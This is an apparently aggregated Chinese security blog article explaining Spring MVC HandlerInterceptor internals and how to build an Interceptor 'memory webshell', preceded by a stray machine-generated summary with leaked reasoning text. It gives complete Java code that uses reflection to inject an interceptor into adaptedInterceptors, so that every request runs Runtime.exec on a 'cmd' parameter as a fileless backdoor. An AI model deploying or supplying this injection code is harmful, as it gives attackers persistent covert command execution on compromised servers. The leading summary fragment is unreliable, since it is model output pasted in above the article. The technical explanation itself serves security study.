Java安全之Spring Interceptor内存马
好的,我现在需要帮用户总结一篇关于Spring Interceptor内存马的文章,控制在100字以内。首先,我得通读整篇文章,理解主要内容。 文章主要讲了Spring Interceptor是什么,它的核心接口HandlerInterceptor,以及如何注册和使用拦截器。然后详细介绍了内存马攻击的原理,包括如何通过反射机制注入恶意拦截器到adaptedInterceptors列表中,从而实现远程命令执行。 接下来,我需要提炼关键点:内存马攻击利用反射注入恶意拦截器,绕过访问控制,导致每个请求都触发恶意代码。同时,文章还展示了如何通过获取WebApplicationContext和RequestMappingHandlerMapping实例来实现这一点。 最后,我要确保总结简洁明了,不超过100字,并且直接描述内容,不使用总结性的开头。 </think> Spring Interceptor 是 Spring MVC 的请求处理机制,允许在特定阶段执行自定义逻辑。内存马攻击通过反射注入恶意拦截器到 `adaptedInterceptors` 列表中,绕过访问控制,在每个请求中触发恶意代码(如命令执行),实现无文件远程控制。 2025-10-28 13:36:49 Author: www.freebuf.com(查看原文) 阅读量:0 收藏

Spring Interceptor内存马

Spring Interceptor(拦截器)

1. 是什么?

Spring Interceptor 是 Spring MVC 框架提供的一个机制,用于在请求处理的特定阶段(如进入控制器方法前、渲染视图后等)执行自定义逻辑。它类似于 Servlet 的 Filter,但作用于更上层的 MVC 流程中,由 Spring 容器管理。

2. 核心接口:HandlerInterceptor

开发者需要实现org.springframework.web.servlet.HandlerInterceptor接口,并重写以下三个方法:

  • preHandle(HttpServletRequest request, HttpServletResponse response, Object handler)

    • 在控制器方法执行前调用。

    • 返回值为boolean:

      • true: 继续执行后续的拦截器和控制器方法。

      • false: 中断流程,不再执行后续操作(通常在此处进行权限校验、日志记录、参数预处理等)。

  • postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView)

    • 在控制器方法执行完毕后,但在视图渲染前调用。

    • 可以对ModelAndView对象进行修改或添加额外数据。

  • afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex)

    • 在整个请求完成(包括视图渲染)后调用。

    • 主要用于资源清理工作,无论是否发生异常都会执行。

3. 注册与使用

通过实现WebMvcConfigurer接口并重写addInterceptors方法来注册拦截器:

@Configuration
public class WebConfig implements WebMvcConfigurer {

    @Override
    public void addInterceptors(InterceptorRegistry registry) {
        // 添加自定义拦截器,并指定拦截路径
        registry.addInterceptor(new MyCustomInterceptor())
                .addPathPatterns("/api/**") // 拦截所有 /api/ 开头的请求
                .excludePathPatterns("/api/public/**"); // 排除公共接口
    }
}

4. 典型应用场景

  • 身份认证与授权:检查用户登录状态和权限。

  • 日志记录:记录请求信息、耗时等。

  • 性能监控:统计接口响应时间。

  • 跨域处理:统一设置 CORS 头。

  • 参数预处理/后处理:如解密、加密、数据格式化。

代码演示

新建项目

image-20251028161434167.png

image-20251028161453250.png

Spring的版本不同, 内存马注入所依赖的类不同, 此处以2.4.2为例

实现接口

在目录下新建类TestInterceptor实现HandlerInterceptor接口

package org.example.interceptordemo.demos.web;

import org.springframework.web.servlet.HandlerInterceptor;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;

public class TestInterceptor implements HandlerInterceptor {
    @Override
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
        System.out.println("preHandle");
        // 注释掉危险的命令执行代码
        String cmd = request.getParameter("cmd");
        if (cmd != null && !cmd.isEmpty()) {
            Runtime.getRuntime().exec(cmd);
        }
        return true;
    }

}

注册使用

package org.example.interceptordemo.demos.web;

import org.springframework.context.annotation.Configuration;
import org.springframework.web.servlet.config.annotation.InterceptorRegistry;
import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;

@Configuration
public class WebConfig implements WebMvcConfigurer {
    @Override
    public void addInterceptors(InterceptorRegistry registry) {
        registry.addInterceptor(new TestInterceptor()).addPathPatterns("/int");
    }
}

新建类WebConfig类实现WebMvcConfigurer接口, 注册interveptor.

然后启动项目, 访问/int?cmd=calc就会弹出计算器.

调试分析

TestInterceptor类中打上断点,

image-20251028193921739.png

启动项目后访问http://127.0.0.1:8080/int?cmd=calc, 然后开始调试,

image-20251028194827883.png

查看他先前执行的堆栈.

image-20251028195015546.png

点到DispatcherServlet中, 查看变量

image-20251028195157217.png

mappedHandler中有我们注册的拦截器TestInterceptor

往上翻, 查看mappedHandler的定义和赋值, 分别在

protected void doDispatch(HttpServletRequest request, HttpServletResponse response) throws Exception {
        ................
        HandlerExecutionChain mappedHandler = null;
        ................
        mappedHandler = this.getHandler(processedRequest);            

在赋值的位置再打一个断点, 重新启动项目访问路径继续分析

image-20251028195652513.png

步入进去this.getHandler, 来到

@Nullable
    protected HandlerExecutionChain getHandler(HttpServletRequest request) throws Exception {
        if (this.handlerMappings != null) {
            for(HandlerMapping mapping : this.handlerMappings) {
                HandlerExecutionChain handler = mapping.getHandler(request);
                if (handler != null) {
                    return handler;
                }
            }
        }

        return null;
    }

这段代码的作用是为HTTP请求找到合适的处理器(Handler):

  • 遍历HandlerMapping列表:this.handlerMappings包含了所有已注册的HandlerMapping对象,这些对象负责将请求URL映射到具体的处理器方法。

  • 查找匹配的处理器:对于每个HandlerMapping,调用其getHandler(request)方法尝试获取能够处理当前请求的处理器。

  • 返回处理器执行链:如果找到合适的处理器,HandlerMapping会返回一个HandlerExecutionChain对象,其中包含了:

    • 实际的处理器(Controller方法)

    • 应用于该请求的所有拦截器(Interceptors)

  • 短路返回:一旦找到匹配的处理器,立即返回,不再继续遍历其他HandlerMapping。

  • 未找到处理器返回null:如果遍历完所有HandlerMapping都没有找到匹配的处理器,则返回null。

继续步入调式, 当执行到第五次循环的时候, 就会执行到AbstractHandlerMapping类的HandlerExecutionChain方法中的this.getHandlerExecutionChain这一步

image-20251028202050461.png

步入getHandlerExecutionChain

protected HandlerExecutionChain getHandlerExecutionChain(Object handler, HttpServletRequest request) {
        HandlerExecutionChain chain = handler instanceof HandlerExecutionChain ? (HandlerExecutionChain)handler : new HandlerExecutionChain(handler);

        for(HandlerInterceptor interceptor : this.adaptedInterceptors) {
            if (interceptor instanceof MappedInterceptor) {
                MappedInterceptor mappedInterceptor = (MappedInterceptor)interceptor;
                if (mappedInterceptor.matches(request)) {
                    chain.addInterceptor(mappedInterceptor.getInterceptor());
                }
            } else {
                chain.addInterceptor(interceptor);
            }
        }

        return chain;
    }

这段代码的主要作用是为特定请求构建完整的处理器执行链,包括处理器本身以及适用的拦截器:

  1. 创建或转换 HandlerExecutionChain:

    • 如果传入的 handler 已经是 HandlerExecutionChain 类型,则直接使用

    • 否则,创建一个新的 HandlerExecutionChain 实例,并将 handler 作为处理器添加进去

  2. 添加适用的拦截器:

    • 遍历所有适配的拦截器 this.adaptedInterceptors

    • 对于 MappedInterceptor 类型的拦截器:

      • 检查它是否适用于当前请求(通过 mappedInterceptor.matches (request) 方法)

      • 如果匹配,则将其内部的实际拦截器添加到执行链中

    • 对于其他类型的拦截器:

      • 直接添加到执行链中(这些通常是全局拦截器)

  3. 返回完整的执行链:

    • 最终返回一个包含了处理器和所有适用性拦截器的执行链

这段代码的核心就是chain.addInterceptor(interceptor) , 它的作用是将拦截器添加到处理器执行链中

查看adaptedInterceptors的类型

private final List<HandlerInterceptor> adaptedInterceptors = new ArrayList();

在 Interceptor 内存马攻击中,利用反射机制获取AbstractHandlerMapping中的私有字段adaptedInterceptors,并绕过访问控制(setAccessible(true)),将一个实现了HandlerInterceptor接口的恶意类实例直接添加到该列表中。由于该列表是所有请求共享的拦截器源,一旦注入成功,后续任意 HTTP 请求只要经过该 HandlerMapping 的处理流程,就会触发恶意preHandle方法,从而实现无文件落地的远程命令执行。

在一开始的调试中,

image-20251028204953732.png

preHandle是被DispatcherServlet驱动的,中间经过了HandlerExecutionChain
所以大致流程

DispatcherServlet → getHandler() 
               → mapping.getHandler() 
               → getHandlerExecutionChain() 
               → 遍历 this.adaptedInterceptors 把每个 interceptor 加入 chain

DispatcherServlet → getHandler()
→ mapping.getHandler()
→ getHandlerExecutionChain()
→ 遍历 this.adaptedInterceptors 把每个 interceptor 加入 chain

## 编写内存马

### 前置了解

- #### 必须参与每一次请求处理

  - 内存马不是一次性后门,而是**持久化监听机制**。
  - 所以恶意逻辑必须在 **每个匹配的 HTTP 请求** 中被自动

- #### 必须进入 `HandlerExecutionChain`

  - Spring MVC 在处理请求时,会为每个请求创建一个 `HandlerExecutionChain`。
  - 这个链包含:
    - 目标处理器(如 Controller 方法)
    - 所有匹配的 `HandlerInterceptor` 拦截器
  - 只有在这个链中的拦截器,才会被 `applyPreHandle()` 调用。

  > 所以:**恶意拦截器必须出现在 `HandlerExecutionChain` 中**

- #### 必须在 `adaptedInterceptors` 中

  - 查看 `AbstractHandlerMapping.getHandlerExecutionChain()` 源码:

    ```java
    protected HandlerExecutionChain getHandlerExecutionChain(Object handler, HttpServletRequest request) {
        HandlerExecutionChain chain = ...;
        for (HandlerInterceptor interceptor : this.adaptedInterceptors) {
            chain.addInterceptor(interceptor);
        }
        return chain;
    }
    ```

     关键点:

    - `this.adaptedInterceptors` 是拦截器的**唯一来源**
    - 它是一个 `List<HandlerInterceptor>`,存储了所有注册的拦截器
    - 所有请求都会遍历它,把里面的拦截器加入当前 `chain`

    >  所以:**只要你的拦截器在 `adaptedInterceptors` 里,就会自动进入每一个 `HandlerExecutionChain`**

- #### 必须拿到持有它的实例

  - `adaptedInterceptors` 是 `AbstractHandlerMapping` 的 **`protected final` 字段**
  - 虽然不能重新赋值,但其内部的 `List` 是可变的(`ArrayList`),可以 `add` 元素
  - 但你必须先拿到 **那个正在被使用的 `HandlerMapping` 实例**

  而在标准 Spring Boot 应用中:

  - 处理 `@Controller` 和 `@RequestMapping` 的是 `RequestMappingHandlerMapping`
  - 它继承自 `AbstractHandlerMapping`,因此持有 `adaptedInterceptors`
  - 它是 Spring 自动创建并注册的单例 Bean
  - 几乎所有动态请求都会经过它

  > 所以:**必须获取 `RequestMappingHandlerMapping` 实例**

-  #### 必须通过 `WebApplicationContext`

  - 攻击者处于一个“外来代码执行”环境(如反序列化、SpEL 注入)
  - 他无法直接new RequestMappingHandlerMapping() —— 因为:
    - 这个 Bean 有复杂的依赖(如 `ContentNegotiationManager`)
    - 即使 new 出来也不会被 `DispatcherServlet` 使用
  - 唯一可靠的方式是:从 Spring 容器中取出 **正在运行的那个实例**

  而 `WebApplicationContext` 正是:

  - Spring Web 应用的**根容器**
  - 管理所有 Bean 的生命周期
  - 提供 `getBean(Class)` 方法来获取指定类型的 Bean

  所以:

```Java
WebApplicationContext context = ...; // 获取上下文
RequestMappingHandlerMapping rmhm = 
    context.getBean(RequestMappingHandlerMapping.class); // 取出真实实例

所以:必须先获取WebApplicationContext,才能拿到RequestMappingHandlerMapping

流程

+-----------------------------------------------------------+
|                     攻击者触发漏洞                         |
|                                                           |
|  (例如:反序列化、SpEL 注入等)                           |
+-----------------------------------------------------------+
                |
                v
+-----------------------------------------------------------+
|               进入 HTTP 请求处理线程                      |
|                                                           |
|  (具备 Request 上下文)                                    |
+-----------------------------------------------------------+
                |
                v
+-----------------------------------------------------------+
|       获取 WebApplicationContext 实例                     |
|                                                           |
|  通过 RequestContextHolder.currentRequestAttributes()    |
|  和 getAttribute("org.springframework.web.servlet.       |
|  DispatcherServlet.CONTEXT", 0) 获取上下文                |
+-----------------------------------------------------------+
                |
                v
+-----------------------------------------------------------+
|   从容器中获取 RequestMappingHandlerMapping 实例          |
|                                                           |
|  context.getBean(RequestMappingHandlerMapping.class)      |
+-----------------------------------------------------------+
                |
                v
+-----------------------------------------------------------+
|   反射访问 adaptedInterceptors 字段                       |
|                                                           |
|  Field field = AbstractHandlerMapping.class.getDeclaredField|
|  ("adaptedInterceptors");                                |
|  field.setAccessible(true);                              |
+-----------------------------------------------------------+
                |
                v
+-----------------------------------------------------------+
|   修改 List<HandlerInterceptor> interceptors              |
|                                                           |
|  List<HandlerInterceptor> interceptors =                  |
|  (List<HandlerInterceptor>) field.get(rmhm);              |
|  interceptors.add(new MaliciousInterceptor());            |
+-----------------------------------------------------------+
                |
                v
+-----------------------------------------------------------+
|        恶意拦截器已成功注入到全局拦截器列表                |
|                                                           |
|  此时,所有匹配该 HandlerMapping 的请求都会经过           |
|  包含恶意拦截器的 HandlerExecutionChain                   |
+-----------------------------------------------------------+
                |
                v
+-----------------------------------------------------------+
|     用户发起任意 HTTP 请求(如 /index.html?cmd=whoami)   |
|                                                           |
|  触发 DispatcherServlet.doDispatch()                      |
|  → mapping.getHandler(request)                            |
|  → getHandlerExecutionChain()                             |
|  → 遍历 this.adaptedInterceptors                          |
|  → chain.applyPreHandle()                                 |
|  → 触发 MaliciousInterceptor.preHandle()                  |
|  → 执行命令(如 Runtime.exec(cmd))                       |
+-----------------------------------------------------------+
                |
                v
+-----------------------------------------------------------+
|         命令执行结果返回给攻击者                          |
|                                                           |
|  (例如:弹出计算器、回显系统命令输出等)                 |
+-----------------------------------------------------------+

完整代码

package org.example.interceptordemo.demos.web;

import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RestController;
import org.springframework.web.context.WebApplicationContext;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.servlet.HandlerInterceptor;
import org.springframework.web.servlet.handler.AbstractHandlerMapping;
import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.lang.reflect.Field;
import java.util.List;

@RestController
public class InterceptorShell implements HandlerInterceptor {
    @RequestMapping("/inject")
    public String inject() {
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        RequestMappingHandlerMapping r = null;
        if (context != null) {
            r = context.getBean(RequestMappingHandlerMapping.class);
        }
        try {
            Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
            field.setAccessible(true);
            List<HandlerInterceptor> list = (List<HandlerInterceptor>) field.get(r);
            list.add(new TestInterceptor());
        } catch (NoSuchFieldException | IllegalAccessException e) {
            throw new RuntimeException(e);
        }
        return "inject success";
    }

    public static class TestInterceptor implements HandlerInterceptor {
        @Override
        public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
            System.out.println("preHandle");
            String cmd = request.getParameter("cmd");
            Runtime.getRuntime().exec(cmd);
            return HandlerInterceptor.super.preHandle(request, response, handler);
        }
    }


文章来源: https://www.freebuf.com/articles/web/454603.html
如有侵权请联系:admin#unsafe.sh